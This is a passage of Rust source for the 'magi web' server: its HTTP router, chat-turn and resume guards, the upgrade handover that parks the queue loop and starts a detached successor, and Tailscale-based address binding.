878            return Err(ApiError::conflict(format!(
879                "run {id} is already being resumed"
880            )));
881        }
882        Ok(ResumeGuard {
883            run: id.to_owned(),
884            resuming: Arc::clone(&self.resuming),
885        })
886    }
887
888    /// The router, with this state baked in.
889    ///
890    /// The three front-end files get one explicit route each rather than a
891    /// path parameter, so there is no traversal surface to get wrong: the set
892    /// of servable paths is the set written here. The asset route below is the
893    /// one exception and the only place in this server where a client names a
894    /// file; it is why [`valid_asset_name`] is checked before a path is built.
895    pub fn router(self) -> Router {
896        Router::new()
897            .route("/", get(index))
898            .route("/app.css", get(app_css))
899            .route("/app.js", get(app_js))
900            .route("/api/health", get(health))
901            .route("/api/loop", get(loop_get).post(loop_post))
902            .route("/api/upgrade", post(upgrade_post))
903            .route("/api/runs", get(runs_list))
904            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
905            .route("/api/runs/{id}/report", get(run_report))
906            .route("/api/runs/{id}/report.json", get(run_report_json))
907            .route("/api/runs/{id}/fold", post(run_fold))
908            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
909            .route("/api/runs/{id}/resume", post(run_resume))
910            .route("/api/queue", get(queue_list))
911            .route("/api/search", get(search_get))
912            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
913            .route("/api/stats", get(stats_get))
914            .route("/api/repos", get(repos_list))
915            .route("/api/settings", get(settings_get))
916            .route("/api/settings/roles", put(settings_put_roles))
917            .route("/api/queue/{id}/hold", post(queue_hold))
918            .route("/api/queue/{id}/release", post(queue_release))
919            .route("/api/queue/{id}/priority", post(queue_priority))
920            .route("/api/queue/{id}/implementers", post(queue_implementers))
921            .route("/api/queue/{id}/edit", post(queue_edit))
922            .route("/api/queue/{id}/done", post(queue_done))
923            .route("/api/questions", get(questions_list))
924            .route("/api/questions/{id}/answer", post(question_answer))
925            .route("/api/questions/{id}/say", post(question_say))
926            .route("/api/questions/{id}/consult", post(question_consult))
927            .route("/api/questions/{id}/panel", get(question_panel))
928            // The same asset, reachable from inside the panel by its bare
929            // filename. A document served at `.../panel` resolves `shot.png`
930            // to `.../shot.png`, which is not the asset route, so a panel
931            // written the way its author was told to write it showed broken
932            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
933            // it - deliberately - so the fix is that the panel's own URL ends
934            // in a filename and its siblings are the assets.
935            .route("/api/questions/{id}/panel/index.html", get(question_panel))
936            .route("/api/questions/{id}/panel/{name}", get(question_asset))
937            .route("/api/questions/{id}/asset/{name}", get(question_asset))
938            .route("/api/notifications", get(notifications_list))
939            .route("/api/notifications/read-all", post(notifications_read_all))
940            .route("/api/notifications/{id}/read", post(notification_read))
941            .route(
942                "/api/notifications/{id}/dismiss",
943                post(notification_dismiss),
944            )
945            .route("/api/talks", get(talks_list).post(talk_post))
946            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
947            .route("/api/talks/{id}/say", post(talk_say))
948            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
949            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
950            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
951            .route("/api/talks/{id}/agent", post(talk_agent))
952            .route("/api/talks/{id}/persona", post(talk_persona))
953            .route("/api/talks/{id}/implementers", post(talk_implementers))
954            .route("/api/talks/{id}/close", post(talk_close))
955            .route("/api/talks/{id}/reopen", post(talk_reopen))
956            // `DefaultBodyLimit` is raised only on this one route - every
957            // other route on this server answers in a few kilobytes, and
958            // widening the crate-wide default for all of them just because
959            // one accepts a picture would let any other handler be handed
960            // a multi-megabyte body it never expects.
961            .route(
962                "/api/talks/{id}/attachments",
963                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
964            )
965            .route(
966                "/api/talks/{id}/attachments/{att}",
967                get(talk_attachment_get),
968            )
969            .route("/api/talks/{id}/avatar", get(talk_avatar))
970            .route("/api/events", get(events))
971            .with_state(Arc::new(self))
972    }
973}
974
975/// What a chat request is told while an upgrade is parking and the request
976/// cannot be queued as a draft.
977const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
978
979/// One talk's turn slot, released on drop.
980///
981/// A guard rather than a matching `remove` at the end of the handler, because
982/// the handler has several early returns and one `await` that can be cancelled
983/// out from under it. A leaked id is a talk nobody can talk to again.
984#[derive(Debug)]
985struct TalkTurnGuard {
986    talk: String,
987    turns: Arc<Mutex<TalkTurns>>,
988    released: bool,
989    /// The cross-process half of the slot; dropped with the guard.
990    lease: Option<crate::talk::TurnLease>,
991}
992
993/// In-memory turn ownership plus the queue generation observed by a drainer.
994///
995/// The generation changes only after a durable queued draft is written and its
996/// caller finds the turn busy. That lets the loop run filesystem work outside
997/// this mutex while still making the final empty-check/release atomic with a
998/// concurrent queue handoff.
999#[derive(Debug, Default)]
1000struct TalkTurns {
1001    live: HashSet<String>,
1002    queued: HashMap<String, u64>,
1003    /// Set while an upgrade hand-over is parking: no turn may start, so the
1004    /// set in `live` can only shrink. Cleared again if the hand-over ends
1005    /// without exiting the process.
1006    parking: bool,
1007}
1008
1009/// The atomic initial-state decision made by
1010/// [`Ui::begin_talk_turn_unless_pending`].
1011enum TalkTurnStart {
1012    Claimed(TalkTurnGuard),
1013    Busy,
1014    /// Another process holds the turn lease. Unlike `Busy` there is no local
1015    /// drain loop that would answer a queued draft, so the caller refuses.
1016    Foreign,
1017    Pending,
1018}
1019
1020impl TalkTurnGuard {
1021    /// Does this guard still own the on-disk lease? A transient failure to
1022    /// check counts as owning: the next beat decides. A guard that lost it
1023    /// must not start another turn on the same session.
1024    fn owns(&self) -> bool {
1025        self.lease
1026            .as_ref()
1027            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1028    }
1029
1030    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1031    /// than the lease's TTL still reads as held to other processes.
1032    async fn respond(
1033        &self,
1034        talk: &mut Talk,
1035        talks: &Talks,
1036        cfg: &Config,
1037        text: &str,
1038    ) -> anyhow::Result<()> {
1039        let lease = self
1040            .lease
1041            .as_ref()
1042            .context("the turn guard no longer holds its lease")?;
1043        talk::respond(lease, talk, talks, cfg, text).await
1044    }
1045
1046    /// Release while the caller already holds the claim mutex, closing the
1047    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1048    fn release(mut self, live: &mut TalkTurns) {
1049        // The on-disk lease goes first: while `live` still names the talk, no
1050        // local claim can start, so nobody observes the slot free but the
1051        // lease held.
1052        self.lease = None;
1053        live.live.remove(&self.talk);
1054        live.queued.remove(&self.talk);
1055        self.released = true;
1056    }
1057}
1058
1059impl Drop for TalkTurnGuard {
1060    fn drop(&mut self) {
1061        if self.released {
1062            return;
1063        }
1064        // Lease first, then the in-process slot (see `release`).
1065        drop(self.lease.take());
1066        if let Ok(mut live) = self.turns.lock() {
1067            live.live.remove(&self.talk);
1068            live.queued.remove(&self.talk);
1069        }
1070    }
1071}
1072
1073/// Releases a resume claim, so a run is resumable again after the attempt.
1074struct ResumeGuard {
1075    run: String,
1076    resuming: Arc<Mutex<HashSet<String>>>,
1077}
1078
1079impl Drop for ResumeGuard {
1080    fn drop(&mut self) {
1081        if let Ok(mut live) = self.resuming.lock() {
1082            live.remove(&self.run);
1083        }
1084    }
1085}
1086
1087/// Bind the port, waiting briefly for a predecessor to let go of it.
1088///
1089/// A restart hands the address from one process to the next, and the old one
1090/// holds its listener until it unwinds. A single `bind` can lose that race,
1091/// and for a restart triggered from a phone that means the deck never comes
1092/// back with no terminal around to say why.
1093///
1094/// Bounded, and only for the one error a wait can fix: anything else fails at
1095/// once, because retrying it would turn a clear message into a silence.
1096async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1097    const WINDOW: Duration = Duration::from_secs(10);
1098    const GAP: Duration = Duration::from_millis(250);
1099
1100    let deadline = std::time::Instant::now() + WINDOW;
1101    let mut said = false;
1102    loop {
1103        match tokio::net::TcpListener::bind(socket).await {
1104            Ok(listener) => return Ok(listener),
1105            Err(e)
1106                if e.kind() == std::io::ErrorKind::AddrInUse
1107                    && std::time::Instant::now() < deadline =>
1108            {
1109                if !said {
1110                    said = true;
1111                    tracing::info!(
1112                        "{socket} is still held - waiting up to {}s for it, \
1113                         which is what a restart looks like from here",
1114                        WINDOW.as_secs()
1115                    );
1116                }
1117                tokio::time::sleep(GAP).await;
1118            }
1119            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1120        }
1121    }
1122}
1123
1124/// Signalled when an upgrade has replaced the binary and the successor should
1125/// take this address over. One per process: there is one address to hand on.
1126static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1127
1128/// Set to `1` on the successor when the loop was running at handover.
1129const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1130
1131/// Whether the environment value asks for the loop to be resumed.
1132fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1133    value.is_some_and(|v| v == "1")
1134}
1135
1136/// Start this binary again with the same arguments, detached.
1137///
1138/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1139/// so the address is already free when the successor binds it. The first
1140/// attempt at this spawned the successor two hundred milliseconds before
1141/// exiting instead, and the released binary - which has no bind retry - died
1142/// on "address already in use" with its stdio sent to null, so the deck
1143/// simply never came back.
1144///
1145/// Detached and without inherited stdio: the successor has to outlive this
1146/// process, and must not hold open a pipe a terminal is waiting on.
1147///
1148/// `resume` tells the successor to start the queue loop, through
1149/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1150/// process inherited from its own predecessor cannot leak into a generation
1151/// that should not resume. The successor's own environment keeps the variable
1152/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1153///
1154/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1155/// than sent to null: a supervisor's redirection only ever held the first
1156/// generation's descriptors, so every later generation logged nowhere. The
1157/// pid of the child is returned so the handover log can name it.
1158fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1159    let exe = std::env::current_exe().context("find this binary")?;
1160    let args: Vec<String> = std::env::args().skip(1).collect();
1161    updater::log_step(
1162        home,
1163        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1164    );
1165    let log_path = home.join(WEB_LOG);
1166    let open_log = || {
1167        std::fs::create_dir_all(home)?;
1168        std::fs::OpenOptions::new()
1169            .create(true)
1170            .append(true)
1171            .open(&log_path)
1172    };
1173    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1174        Ok(pair) => (
1175            std::process::Stdio::from(pair.0),
1176            std::process::Stdio::from(pair.1),
1177        ),
1178        Err(e) => {
1179            updater::log_warn(
1180                home,
1181                &format!(
1182                    "could not open {}: {e}; the successor logs nowhere",
1183                    log_path.display()
1184                ),
1185            );
1186            (std::process::Stdio::null(), std::process::Stdio::null())
1187        }
1188    };
1189
1190    let mut cmd = std::process::Command::new(&exe);
1191    if resume {
1192        cmd.env(RESUME_LOOP_ENV, "1");
1193    } else {
1194        cmd.env_remove(RESUME_LOOP_ENV);
1195    }
1196    cmd.args(&args)
1197        .stdin(std::process::Stdio::null())
1198        .stdout(out)
1199        .stderr(err);
1200    #[cfg(windows)]
1201    {
1202        use std::os::windows::process::CommandExt as _;
1203        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1204        // and Ctrl-C in the old terminal must not reach the successor.
1205        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1206    }
1207    let child = cmd.spawn().context("start the successor")?;
1208    Ok(child.id())
1209}
1210
1211/// File under `<home>` the successor's output is appended to.
1212const WEB_LOG: &str = "web.log";
1213
1214/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1215/// stored by an earlier `notify_one` is consumed by the first poll, so the
1216/// signal is never missed and never wakes a second time.
1217async fn wait_for_handover(signal: &Notify) {
1218    signal.notified().await;
1219}
1220
1221/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1222///
1223/// The server itself owns no state, so nothing here is graceful for the HTTP
1224/// side's sake: the connections go with the dropped listener, which costs a
1225/// phone one change-stream reconnection it was going to make anyway.
1226///
1227/// The signal branch is not optional now that the loop lives in this process.
1228/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1229/// handler is what stops the signal terminating the process - so without a
1230/// branch of our own, the first Ctrl-C after the operator started the loop
1231/// would stop the loop and leave `magi web` listening forever, unkillable
1232/// from the terminal it was started in.
1233///
1234/// What it waits for is the loop, not the sockets. A run in flight is
1235/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1236/// mid-node leaves worktrees, branches and agent sessions behind and throws
1237/// away every agent call already paid for.
1238///
1239/// The server therefore runs on a task of its own rather than inside the
1240/// `select!`: an arm that resolves *drops* the futures the other arms were
1241/// polling, so serving the address from inside one would take the deck down
1242/// at the instant the handover began and keep it down for the whole park -
1243/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1244/// owns the order.
1245pub async fn serve(opts: Opts) -> Result<()> {
1246    let (addr, warning) = resolve_bind(&opts.bind);
1247    if let Some(warning) = warning {
1248        tracing::warn!("{warning}");
1249    }
1250
1251    // Process-global, and therefore set exactly once, here: the report route
1252    // must never emit escape sequences into a browser, and toggling the flag
1253    // per request would race with a concurrent request rendering its own
1254    // report. Startup is the only moment at which no request can observe the
1255    // change. Nothing in the server turns colour back on.
1256    report::set_color(false);
1257
1258    let repo = normalize_default_repo(opts.repo).await;
1259    let ui = Ui::open(repo).with_merge(opts.merge);
1260    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1261    // home to bracket the parking and restarting stages, and `run_update_recheck`
1262    // needs both it and the repo, and by then there is no `ui` left to read
1263    // them from.
1264    let home = ui.home.clone();
1265    let repo = ui.repo.clone();
1266    // Settles a progress record a predecessor left non-terminal - either this
1267    // *is* the successor `spawn_successor` started, or the previous process
1268    // died mid-handover. Before the router starts answering, so the very
1269    // first `/api/health` a phone gets from this process already reflects it.
1270    updater::reconcile_after_restart(&home);
1271    updater::log_step(
1272        &home,
1273        &format!(
1274            "web process started (version {}); handover log {}, successor output {}",
1275            env!("CARGO_PKG_VERSION"),
1276            updater::log_path(&home).display(),
1277            home.join(WEB_LOG).display()
1278        ),
1279    );
1280    updater::spawn_watchdog(home.clone());
1281    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1282    // `spawn_update_check` does at startup only ever runs once: after that,
1283    // `/api/health`'s `update` field - and the phone's "Update & restart"
1284    // button, which reads the very same cache - would stay frozen on
1285    // whatever that single check found, no matter how many releases ship
1286    // afterwards. This keeps it current instead. Detached: it must keep
1287    // going for as long as this process serves, `serve` has nothing to await
1288    // it for, and it exits on its own the moment the process does.
1289    tokio::spawn(run_update_recheck(repo, home.clone()));
1290    let looping = ui.looping();
1291    let turns = ui.turns();
1292    let talk_store = ui.talks.clone();
1293    let socket = SocketAddr::new(addr, opts.port);
1294    let listener = bind_waiting(socket).await?;
1295    let url = format!("http://{addr}:{}", opts.port);
1296    tracing::info!(
1297        "magi web UI on {url} - there is no authentication, so anyone who can \
1298         reach this address can file and hold tasks: the tailnet is the \
1299         security boundary"
1300    );
1301    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1302        tracing::info!("resumed the loop the predecessor was running");
1303    } else {
1304        tracing::info!(
1305            "the queue loop is not running yet - start it from the UI, which is \
1306             the whole reason this process can: nothing in the queue moves until \
1307             something is running the loop"
1308        );
1309    }
1310    if opts.open {
1311        // The URL alone on stdout, for a caller that wants to open it. magi
1312        // does not spawn a browser: on the machine this usually runs on there
1313        // is no display, and a failed launch would be the only output.
1314        println!("{url}");
1315    }
1316
1317    // On its own task, so nothing this function awaits can stop the address
1318    // being answered. `hand_over` is where it is given up.
1319    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1320    let interrupted = async {
1321        if tokio::signal::ctrl_c().await.is_err() {
1322            // No handler on this platform, so there is no signal to act on.
1323            // Never resolving is the safe answer: a failed registration must
1324            // not masquerade as the operator asking for a shutdown and take
1325            // the UI down on startup.
1326            std::future::pending::<()>().await;
1327        }
1328    };
1329    let handover = wait_for_handover(&HANDOVER);
1330    let outcome = tokio::select! {
1331        joined = &mut served => match joined {
1332            Ok(outcome) => outcome.context("serve the web UI"),
1333            Err(e) => Err(e).context("the task serving the web UI ended"),
1334        },
1335        () = interrupted => {
1336            tracing::info!("shutting down the web UI");
1337            finish_loop(&home, &looping, None).await;
1338            Ok(())
1339        }
1340        () = handover => {
1341            updater::log_step(&home, "serve: the select! woke on the handover signal");
1342            let successor_home = home.clone();
1343            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1344            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1345                spawn_successor(&successor_home, resume)
1346            })
1347            .await
1348        }
1349    };
1350    updater::log_step(
1351        &home,
1352        &match &outcome {
1353            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1354            Err(e) => format!("serve: returning an error: {e:#}"),
1355        },
1356    );
1357    outcome
1358}
1359
1360/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1361/// process's own working directory is not a git checkout at all - the
1362/// checkout [`repos::discover_verified`] finds instead.
1363///
1364/// Only the unmodified default is ever replaced: an operator who named a
1365/// directory outright, git checkout or not, gets exactly that directory
1366/// back, and the same story downstream (a talk whose briefing embeds a
1367/// non-git directory, and an agent that has to ask the operator where the
1368/// real repository is) that has always told them so - substituting a guess
1369/// for an explicit answer would be a second, silent opinion about what they
1370/// meant. There is no instruction or task text yet to match against this
1371/// early, so only [`repos::discover_verified`]'s own-repository tier can
1372/// ever settle this - the hint tier never fires here.
1373///
1374/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1375/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1376/// or a git installation that is broken in exactly the way that made the
1377/// original `canonical` check above fail too - so it is re-checked with
1378/// `git::toplevel` before it is ever used in place of the operator's own
1379/// directory.
1380async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1381    if repo != FsPath::new(".") {
1382        return repo;
1383    }
1384    let Ok(canonical) = repo.canonicalize() else {
1385        return repo;
1386    };
1387    if git::toplevel(&canonical).await.is_ok() {
1388        return repo;
1389    }
1390    let Some(home) = dirs::home_dir() else {
1391        return repo;
1392    };
1393    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1394        Some(found) => {
1395            tracing::info!(
1396                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1397                canonical.display(),
1398                found.path.display(),
1399                found.reason,
1400            );
1401            found.path
1402        }
1403        None => repo,
1404    }
1405}
1406
1407/// Park the loop, then release the address, then start the successor.
1408///
1409/// The order is the whole function, and each step is answerable to a failure
1410/// this arrangement has already had:
1411///
1412/// 1. **Park.** The loop was asked to stop by the request that replaced the
1413///    binary, and this waits for it, because killing the graph mid-node
1414///    leaves worktrees, branches and agent sessions behind and throws away
1415///    every agent call already paid for. It takes as long as the node in
1416///    flight - up to `timeout_implement`, an hour by default - and the deck
1417///    goes on answering for all of it, which is the reason `served` is a task
1418///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1419///    first upgrade from a phone that caught a run mid-implement dropped the
1420///    listener the moment it was asked to, and the operator got
1421///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1422///    waiting on and nothing but a process list to say the run was alive.
1423/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1424///    the join resolves only once the task's future has been dropped, so the
1425///    listener is released before the next line. Connections it already
1426///    accepted are served on tasks of their own and wind down asynchronously;
1427///    on some platforms (macOS) they can briefly keep the address busy, and
1428///    the successor's `bind_waiting` absorbs that.
1429/// 3. **Start the successor**, which binds the address this process has just
1430///    let go of - see [`spawn_successor`] for what the other order cost.
1431///
1432/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1433/// reporting, not part of the design: it exists so `/api/health` can say
1434/// "parking, waiting on run X" instead of leaving the phone to guess why the
1435/// deck went quiet, and dropping it would not change the order above.
1436async fn hand_over(
1437    home: &FsPath,
1438    looping: &Mutex<LoopState>,
1439    turns: &Arc<Mutex<TalkTurns>>,
1440    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1441    served: tokio::task::JoinHandle<std::io::Result<()>>,
1442    successor: impl FnOnce(bool) -> Result<u32>,
1443) -> Result<()> {
1444    updater::log_step(home, "hand_over: entered; writing the parking stage");
1445    // The lease and the stage are written as one step, so a reader that sees
1446    // `parking` also finds the proof that hand_over is alive. Dropped on
1447    // every way out.
1448    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1449    if !recorded {
1450        updater::log_warn(
1451            home,
1452            "hand_over: upgrade.json is unreadable; no parking stage",
1453        );
1454    }
1455    // Chat stays open while the loop parks: nothing restarts until it ends,
1456    // and the park can last as long as a node. Only once it is done is the
1457    // slot closed, right before the restart; a turn started earlier is in
1458    // `live` by then, so `finish_talks` waits for it.
1459    finish_loop(home, looping, Some(&mut lease)).await;
1460    let parking = ParkingTurns::begin(turns);
1461    let talks_done = finish_talks(home, turns, talk_wait);
1462    tokio::pin!(talks_done);
1463    let mut beat = tokio::time::interval(LEASE_BEAT);
1464    let (abandoned, waited_for) = loop {
1465        tokio::select! {
1466            left = &mut talks_done => break left,
1467            _ = beat.tick() => lease.beat(),
1468        }
1469    };
1470    drop(lease);
1471    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1472    served.abort();
1473    let _ = served.await;
1474    updater::log_step(home, "hand_over: listener released");
1475    // Read last: the deck answers for the whole park, so an operator's stop
1476    // during the wait must still be honoured by the successor.
1477    let resume = lock_or_recover(looping).resume_after_handover;
1478    match updater::read_progress(home) {
1479        Some(mut progress) => {
1480            progress.advance(updater::Stage::Restarting);
1481            if !abandoned.is_empty() {
1482                progress.detail = Some(format!(
1483                    "handed over while {} still running after {} s",
1484                    updater::talks_phrase(&abandoned),
1485                    waited_for.as_secs()
1486                ));
1487            }
1488            updater::write_progress_logged(home, &progress);
1489        }
1490        None => updater::log_warn(
1491            home,
1492            "hand_over: upgrade.json is unreadable; no restarting stage",
1493        ),
1494    }
1495    updater::log_step(
1496        home,
1497        &format!("hand_over: starting the successor (resume={resume})"),
1498    );
1499    drop(parking);
1500    match successor(resume) {
1501        Ok(pid) => {
1502            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1503            Ok(())
1504        }
1505        Err(e) => {
1506            updater::log_warn(
1507                home,
1508                &format!("hand_over: the successor did not start: {e:#}"),
1509            );
1510            Err(e)
1511        }
1512    }
1513}
1514
1515/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1516/// a turn that runs its full timeout still needs a moment to record its answer.
1517const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1518
1519/// How often the park looks at the chat turns still running.
1520const TALK_POLL: Duration = Duration::from_millis(250);
1521
1522/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1523/// grace. Beyond it a stuck turn must not block the hand-over.
1524fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1525    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1526}
1527
1528/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1529/// the repositories those talks run in (each turn uses its own talk's
1530/// configuration), plus the grace. A talk or config that cannot be read counts
1531/// with the default timeout.
1532fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1533    let default = Config::default().graph.timeout_talk;
1534    let longest = ids
1535        .iter()
1536        .map(|id| {
1537            talks
1538                .get(id)
1539                .ok()
1540                .and_then(|t| Config::discover(&t.repo, None).ok())
1541                .map_or(default, |(c, _)| c.graph.timeout_talk)
1542        })
1543        .max()
1544        .unwrap_or(default);
1545    talk_wait_bound(longest)
1546}
1547
1548/// Stops new chat turns for as long as it lives, so the hand-over only ever
1549/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1550/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1551struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1552
1553impl ParkingTurns {
1554    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1555        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1556        Self(Arc::clone(turns))
1557    }
1558}
1559
1560impl Drop for ParkingTurns {
1561    fn drop(&mut self) {
1562        self.0
1563            .lock()
1564            .unwrap_or_else(PoisonError::into_inner)
1565            .parking = false;
1566    }
1567}
1568
1569/// Wait until no chat turn is running in this process, for at most the longest
1570/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1571/// running when the bound was hit (empty when the turns finished) with the
1572/// bound that applied, after saying so in the upgrade log.
1573async fn finish_talks(
1574    home: &FsPath,
1575    turns: &Mutex<TalkTurns>,
1576    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1577) -> (Vec<String>, Duration) {
1578    let running = || {
1579        let mut ids: Vec<String> = turns
1580            .lock()
1581            .unwrap_or_else(PoisonError::into_inner)
1582            .live
1583            .iter()
1584            .cloned()
1585            .collect();
1586        // A turn another task of this process (the daemon's completion
1587        // notice) or another process runs holds only the on-disk lease.
1588        let talks = talk::Talks::at(home.join("talks"));
1589        for t in talks.list() {
1590            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1591                ids.push(t.id);
1592            }
1593        }
1594        ids.sort();
1595        ids
1596    };
1597    let started = std::time::Instant::now();
1598    let mut seen = Vec::new();
1599    let mut bound = Duration::ZERO;
1600    loop {
1601        let ids = running();
1602        if ids != seen {
1603            bound = bound.max(bound_for(&ids));
1604            if ids.is_empty() {
1605                updater::log_step(home, "finish_talks: no chat turn is running");
1606            } else {
1607                updater::log_step(
1608                    home,
1609                    &format!(
1610                        "finish_talks: waiting for {} to finish",
1611                        updater::talks_phrase(&ids)
1612                    ),
1613                );
1614            }
1615            updater::set_parked_talks(home, &ids);
1616            seen = ids;
1617        }
1618        if seen.is_empty() {
1619            return (Vec::new(), bound);
1620        }
1621        if started.elapsed() >= bound {
1622            updater::log_warn(
1623                home,
1624                &format!(
1625                    "finish_talks: {} still running after {} s; handing over anyway",
1626                    updater::talks_phrase(&seen),
1627                    bound.as_secs()
1628                ),
1629            );
1630            return (seen, bound);
1631        }
1632        tokio::time::sleep(TALK_POLL).await;
1633    }
1634}
1635
1636/// How often `finish_loop` renews the handover lease; well inside
1637/// [`updater::LEASE_TTL_SECS`].
1638const LEASE_BEAT: Duration = Duration::from_secs(20);
1639
1640/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1641///
1642/// The wait is the whole function. Returning from `serve` while a graph is
1643/// mid-node ends the process with worktrees, branches and agent sessions left
1644/// behind and every agent call in that run paid for and thrown away, which is
1645/// exactly what the daemon's own shutdown refuses to do.
1646async fn finish_loop(
1647    home: &FsPath,
1648    state: &Mutex<LoopState>,
1649    mut lease: Option<&mut updater::LeaseGuard>,
1650) {
1651    let live = lock_or_recover(state).live.take();
1652    let Some(live) = live else {
1653        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1654        return;
1655    };
1656    live.stop.stop();
1657    lock_or_recover(state).rev += 1;
1658    updater::log_step(
1659        home,
1660        "finish_loop: waiting for the loop to finish the run in flight",
1661    );
1662    let waited = std::time::Instant::now();
1663    // The task records its own outcome and logs it, so there is nothing to do
1664    // with a join error here but stop waiting.
1665    let mut handle = live.handle;
1666    let mut beat = tokio::time::interval(LEASE_BEAT);
1667    loop {
1668        tokio::select! {
1669            _ = &mut handle => break,
1670            _ = beat.tick() => {
1671                if let Some(lease) = lease.as_deref_mut() {
1672                    lease.beat();
1673                }
1674            }
1675        }
1676    }
1677    updater::log_step(
1678        home,
1679        &format!(
1680            "finish_loop: the loop ended after {:.1}s",
1681            waited.elapsed().as_secs_f32()
1682        ),
1683    );
1684}
1685
1686/// Resolve `--bind` to an address, plus a warning when the answer is not what
1687/// the operator asked for.
1688///
1689/// Split out from [`serve`] because the interesting half - deciding whether
1690/// Tailscale gave us something usable - is testable without opening a socket.
1691pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1692    match bind {
1693        Bind::Addr(addr) => (*addr, None),
1694        Bind::Auto => match tailscale_ip() {
1695            Ok(ip) => (IpAddr::V4(ip), None),
1696            Err(why) => (
1697                IpAddr::V4(Ipv4Addr::LOCALHOST),
1698                Some(format!(
1699                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1700                     local-only and a phone cannot reach it; start Tailscale \
1701                     or pass --bind <addr>"
1702                )),
1703            ),
1704        },
1705    }
1706}
1707
1708/// This machine's Tailscale IPv4, or why there is not one.
1709///
1710/// `tailscale ip -4` is a local call against the running daemon and returns in
1711/// milliseconds, so it is fine to make it synchronously before the server
1712/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1713/// CGNAT block Tailscale assigns from, and anything else on that output would
1714/// be a different tool answering.
1715fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1716    let out = std::process::Command::new("tailscale")
1717        .args(["ip", "-4"])
1718        .quiet()
1719        .output()
1720        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1721    if !out.status.success() {
1722        let why = String::from_utf8_lossy(&out.stderr);
1723        let why = why.trim();
1724        return Err(format!(
1725            "`tailscale ip -4` failed ({}){}",
1726            out.status,
1727            if why.is_empty() {
1728                String::new()
1729            } else {
1730                format!(": {why}")
1731            }
1732        ));
1733    }
1734    String::from_utf8_lossy(&out.stdout)
1735        .lines()
1736        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1737        .find(is_tailnet)
1738        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1739}
1740
1741/// Is this address in the CGNAT block Tailscale hands out from?
1742fn is_tailnet(ip: &Ipv4Addr) -> bool {
1743    let o = ip.octets();
1744    o[0] == 100 && (64..=127).contains(&o[1])
1745}
1746
